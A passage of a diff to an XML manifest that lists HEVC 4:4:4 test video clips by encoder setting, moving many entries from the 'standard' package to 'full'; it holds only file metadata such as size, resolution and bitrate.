-    <value>mime=video/hevc,size=352253,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4386600,package=standard</value>
+    <value>mime=video/hevc,size=352253,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4386600,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_fastdecode.mp4">
-    <value>mime=video/hevc,size=355946,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4432744,package=standard</value>
+    <value>mime=video/hevc,size=355946,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4432744,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_faster.mp4">
-    <value>mime=video/hevc,size=311239,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=3874512,package=standard</value>
+    <value>mime=video/hevc,size=311239,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=3874512,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_fast.mp4">
-    <value>mime=video/hevc,size=321209,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=3999136,package=standard</value>
+    <value>mime=video/hevc,size=321209,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=3999136,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_grain.mp4">
     <value>mime=video/hevc,size=576402,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=7188448,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_hash_chksum.mp4">
-    <value>mime=video/hevc,size=357327,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4450008,package=standard</value>
+    <value>mime=video/hevc,size=357327,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4450008,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_hash_crc.mp4">
-    <value>mime=video/hevc,size=357135,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4447608,package=standard</value>
+    <value>mime=video/hevc,size=357135,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4447608,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_hash_md5.mp4">
-    <value>mime=video/hevc,size=358479,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4464408,package=standard</value>
+    <value>mime=video/hevc,size=358479,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4464408,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_hrd.mp4">
-    <value>mime=video/hevc,size=356623,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441208,package=standard</value>
+    <value>mime=video/hevc,size=356623,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441208,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_idr16.mp4">
     <value>mime=video/hevc,size=391626,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4878696,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_intraminus1.mp4">
-    <value>mime=video/hevc,size=356632,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441320,package=standard</value>
+    <value>mime=video/hevc,size=356632,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441320,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_lossless.mp4">
     <value>mime=video/hevc,size=39386597,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=492315880,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_max_log2poc_10.mp4">
-    <value>mime=video/hevc,size=356631,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441312,package=standard</value>
+    <value>mime=video/hevc,size=356631,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441312,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_max_log2poc_16.mp4">
-    <value>mime=video/hevc,size=356655,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441608,package=standard</value>
+    <value>mime=video/hevc,size=356655,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441608,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_max_log2poc_4.mp4">
-    <value>mime=video/hevc,size=356621,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441200,package=standard</value>
+    <value>mime=video/hevc,size=356621,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441200,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_max_log2poc_5.mp4">
-    <value>mime=video/hevc,size=356621,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441200,package=standard</value>
+    <value>mime=video/hevc,size=356621,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441200,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_max_log2poc_6.mp4">
-    <value>mime=video/hevc,size=356621,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441200,package=standard</value>
+    <value>mime=video/hevc,size=356621,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441200,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_maxtu16.mp4">
-    <value>mime=video/hevc,size=357269,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4449296,package=standard</value>
+    <value>mime=video/hevc,size=357269,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4449296,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_maxtu4.mp4">
-    <value>mime=video/hevc,size=333350,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4150312,package=standard</value>
+    <value>mime=video/hevc,size=333350,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4150312,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_maxtu8.mp4">
-    <value>mime=video/hevc,size=357234,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4448856,package=standard</value>
+    <value>mime=video/hevc,size=357234,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4448856,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_medium.mp4">
-    <value>mime=video/hevc,size=356623,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441208,package=standard</value>
+    <value>mime=video/hevc,size=356623,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441208,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_merge1.mp4">
-    <value>mime=video/hevc,size=364599,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4540912,package=standard</value>
+    <value>mime=video/hevc,size=364599,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4540912,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_merge3.mp4">
-    <value>mime=video/hevc,size=356527,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4440008,package=standard</value>
+    <value>mime=video/hevc,size=356527,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4440008,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_merge4.mp4">
-    <value>mime=video/hevc,size=353807,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4406008,package=standard</value>
+    <value>mime=video/hevc,size=353807,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4406008,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_merge5.mp4">
-    <value>mime=video/hevc,size=353703,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4404712,package=standard</value>
+    <value>mime=video/hevc,size=353703,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4404712,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_mincu16.mp4">
-    <value>mime=video/hevc,size=369657,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4604136,package=standard</value>
+    <value>mime=video/hevc,size=369657,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4604136,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_mincu32.mp4">
     <value>mime=video/hevc,size=423034,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=5271336,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_nodblk.mp4">
-    <value>mime=video/hevc,size=357727,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4455008,package=standard</value>
+    <value>mime=video/hevc,size=357727,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4455008,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_no_pps_qp_opt.mp4">
-    <value>mime=video/hevc,size=356626,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441248,package=standard</value>
+    <value>mime=video/hevc,size=356626,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441248,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_no_pps_reflist_opt.mp4">
-    <value>mime=video/hevc,size=356626,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441248,package=standard</value>
+    <value>mime=video/hevc,size=356626,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441248,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_no_vui_hrd.mp4">
-    <value>mime=video/hevc,size=356626,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441248,package=standard</value>
+    <value>mime=video/hevc,size=356626,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441248,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_placebo.mp4">
-    <value>mime=video/hevc,size=369435,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4601336,package=standard</value>
+    <value>mime=video/hevc,size=369435,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4601336,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_profilenone.mp4">
-    <value>mime=video/hevc,size=356620,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441168,package=standard</value>
+    <value>mime=video/hevc,size=356620,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441168,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_psnr.mp4">
     <value>mime=video/hevc,size=593569,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=7403048,package=full</value>
@@ -23622,145 +23622,145 @@
     <value>mime=video/hevc,size=26585181,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=332298184,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_qp50.mp4">
-    <value>mime=video/hevc,size=30308,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=362272,package=standard</value>
+    <value>mime=video/hevc,size=30308,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=362272,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_qp51cbm12crm12.mp4">
-    <value>mime=video/hevc,size=27132,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=322568,package=standard</value>
+    <value>mime=video/hevc,size=27132,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=322568,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_qp51.mp4">
-    <value>mime=video/hevc,size=24555,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=290360,package=standard</value>
+    <value>mime=video/hevc,size=24555,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=290360,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_rect0.mp4">
-    <value>mime=video/hevc,size=356623,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441208,package=standard</value>
+    <value>mime=video/hevc,size=356623,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441208,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_rpt_hdrs.mp4">
-    <value>mime=video/hevc,size=356620,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441168,package=standard</value>
+    <value>mime=video/hevc,size=356620,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441168,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_sao0.mp4">
-    <value>mime=video/hevc,size=354980,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4420672,package=standard</value>
+    <value>mime=video/hevc,size=354980,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4420672,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_sbh1.mp4">
-    <value>mime=video/hevc,size=356623,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441208,package=standard</value>
+    <value>mime=video/hevc,size=356623,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441208,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_slower.mp4">
-    <value>mime=video/hevc,size=358783,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4468200,package=standard</value>
+    <value>mime=video/hevc,size=358783,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4468200,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_slow.mp4">
-    <value>mime=video/hevc,size=339570,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4228048,package=standard</value>
+    <value>mime=video/hevc,size=339570,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4228048,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_srng0.mp4">
     <value>mime=video/hevc,size=530631,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=6616312,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_srng32.mp4">
-    <value>mime=video/hevc,size=356267,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4436760,package=standard</value>
+    <value>mime=video/hevc,size=356267,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4436760,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_srng64.mp4">
-    <value>mime=video/hevc,size=356691,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4442056,package=standard</value>
+    <value>mime=video/hevc,size=356691,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4442056,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_srng8.mp4">
-    <value>mime=video/hevc,size=357994,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4458344,package=standard</value>
+    <value>mime=video/hevc,size=357994,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4458344,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_ssim.mp4">
     <value>mime=video/hevc,size=550315,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=6862368,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_strngintra0.mp4">
-    <value>mime=video/hevc,size=356589,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4440784,package=standard</value>
+    <value>mime=video/hevc,size=356589,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4440784,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_superfast.mp4">
     <value>mime=video/hevc,size=536671,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=6691824,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_tc4.mp4">
-    <value>mime=video/hevc,size=357425,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4451224,package=standard</value>
+    <value>mime=video/hevc,size=357425,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4451224,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_tc6.mp4">
-    <value>mime=video/hevc,size=357214,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4448584,package=standard</value>
+    <value>mime=video/hevc,size=357214,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4448584,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_tcm4.mp4">
-    <value>mime=video/hevc,size=357090,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4447032,package=standard</value>
+    <value>mime=video/hevc,size=357090,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4447032,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_tcm6.mp4">
-    <value>mime=video/hevc,size=358267,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4461744,package=standard</value>
+    <value>mime=video/hevc,size=358267,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4461744,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_tmp_lyrs.mp4">
-    <value>mime=video/hevc,size=356627,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441168,package=standard</value>
+    <value>mime=video/hevc,size=356627,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441168,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_tmvp0.mp4">
-    <value>mime=video/hevc,size=358420,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4463672,package=standard</value>
+    <value>mime=video/hevc,size=358420,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4463672,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_tuinterdepth2.mp4">
-    <value>mime=video/hevc,size=362789,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4518280,package=standard</value>
+    <value>mime=video/hevc,size=362789,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4518280,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_tuinterdepth4.mp4">
-    <value>mime=video/hevc,size=358271,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4461808,package=standard</value>
+    <value>mime=video/hevc,size=358271,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4461808,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_tuintradepth2.mp4">
-    <value>mime=video/hevc,size=356240,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4436424,package=standard</value>
+    <value>mime=video/hevc,size=356240,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4436424,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_tuintradepth4.mp4">
-    <value>mime=video/hevc,size=358373,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4463080,package=standard</value>
+    <value>mime=video/hevc,size=358373,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4463080,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_tulimit2.mp4">
-    <value>mime=video/hevc,size=356623,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441208,package=standard</value>
+    <value>mime=video/hevc,size=356623,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441208,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_tulimit4.mp4">
-    <value>mime=video/hevc,size=356623,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441208,package=standard</value>
+    <value>mime=video/hevc,size=356623,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441208,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_ultrafast.mp4">
     <value>mime=video/hevc,size=502200,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=6260920,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_veryfast.mp4">
-    <value>mime=video/hevc,size=311534,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=3878200,package=standard</value>
+    <value>mime=video/hevc,size=311534,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=3878200,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_veryslow.mp4">
-    <value>mime=video/hevc,size=355075,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4421848,package=standard</value>
+    <value>mime=video/hevc,size=355075,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4421848,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_vui_color_matrix.mp4">
-    <value>mime=video/hevc,size=356626,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441208,package=standard</value>
+    <value>mime=video/hevc,size=356626,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441208,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_vui_color_prim_bt2020.mp4">
-    <value>mime=video/hevc,size=356626,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441208,package=standard</value>
+    <value>mime=video/hevc,size=356626,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441208,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_vui_color_prim_bt709.mp4">
-    <value>mime=video/hevc,size=356626,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441208,package=standard</value>
+    <value>mime=video/hevc,size=356626,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441208,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_vui_transfer.mp4">
-    <value>mime=video/hevc,size=356626,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441208,package=standard</value>
+    <value>mime=video/hevc,size=356626,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441208,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_weightb0weightp1.mp4">
-    <value>mime=video/hevc,size=356623,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441208,package=standard</value>
+    <value>mime=video/hevc,size=356623,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441208,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_weightb1.mp4">
-    <value>mime=video/hevc,size=356485,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4439480,package=standard</value>
+    <value>mime=video/hevc,size=356485,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4439480,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_weightp0.mp4">
-    <value>mime=video/hevc,size=356623,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441208,package=standard</value>
+    <value>mime=video/hevc,size=356623,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441208,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_weightp0weightb1.mp4">
-    <value>mime=video/hevc,size=356473,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4439336,package=standard</value>
+    <value>mime=video/hevc,size=356473,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4439336,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_wpp1.mp4">
-    <value>mime=video/hevc,size=355291,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4424560,package=standard</value>
+    <value>mime=video/hevc,size=355291,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4424560,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_zerolatency.mp4">
     <value>mime=video/hevc,size=418567,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=5219368,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_100kbps.mp4">
-    <value>mime=video/hevc,size=157019,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=1946160,package=standard</value>
+    <value>mime=video/hevc,size=157019,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=1946160,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_10mbps.mp4">
     <value>mime=video/hevc,size=725630,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=9053800,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_1mbps.mp4">
-    <value>mime=video/hevc,size=156415,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=1938608,package=standard</value>
+    <value>mime=video/hevc,size=156415,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=1938608,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_20mbps.mp4">
     <value>mime=video/hevc,size=1467594,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=18328344,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_4mbps_adaptiveqp0.mp4">
-    <value>mime=video/hevc,size=325891,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=4057056,package=standard</value>
+    <value>mime=video/hevc,size=325891,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=4057056,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_4mbps_adaptiveqp2.mp4">
-    <value>mime=video/hevc,size=323758,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=4030400,package=standard</value>
+    <value>mime=video/hevc,size=323758,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=4030400,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_4mbps_qpg16.mp4">
     <value>mime=video/hevc,size=697307,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=8699760,package=full</value>
@@ -23772,10 +23772,10 @@
     <value>mime=video/hevc,size=709414,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=8851096,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_500kbps.mp4">
-    <value>mime=video/hevc,size=157125,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=1947480,package=standard</value>
+    <value>mime=video/hevc,size=157125,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=1947480,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_5mbps.mp4">
-    <value>mime=video/hevc,size=368272,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=4586824,package=standard</value>
+    <value>mime=video/hevc,size=368272,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=4586824,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_allidr.mp4">
     <value>mime=video/hevc,size=1590054,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=19863208,package=full</value>
@@ -23829,7 +23829,7 @@
     <value>mime=video/hevc,size=39689196,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=496098368,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_crf51.mp4">
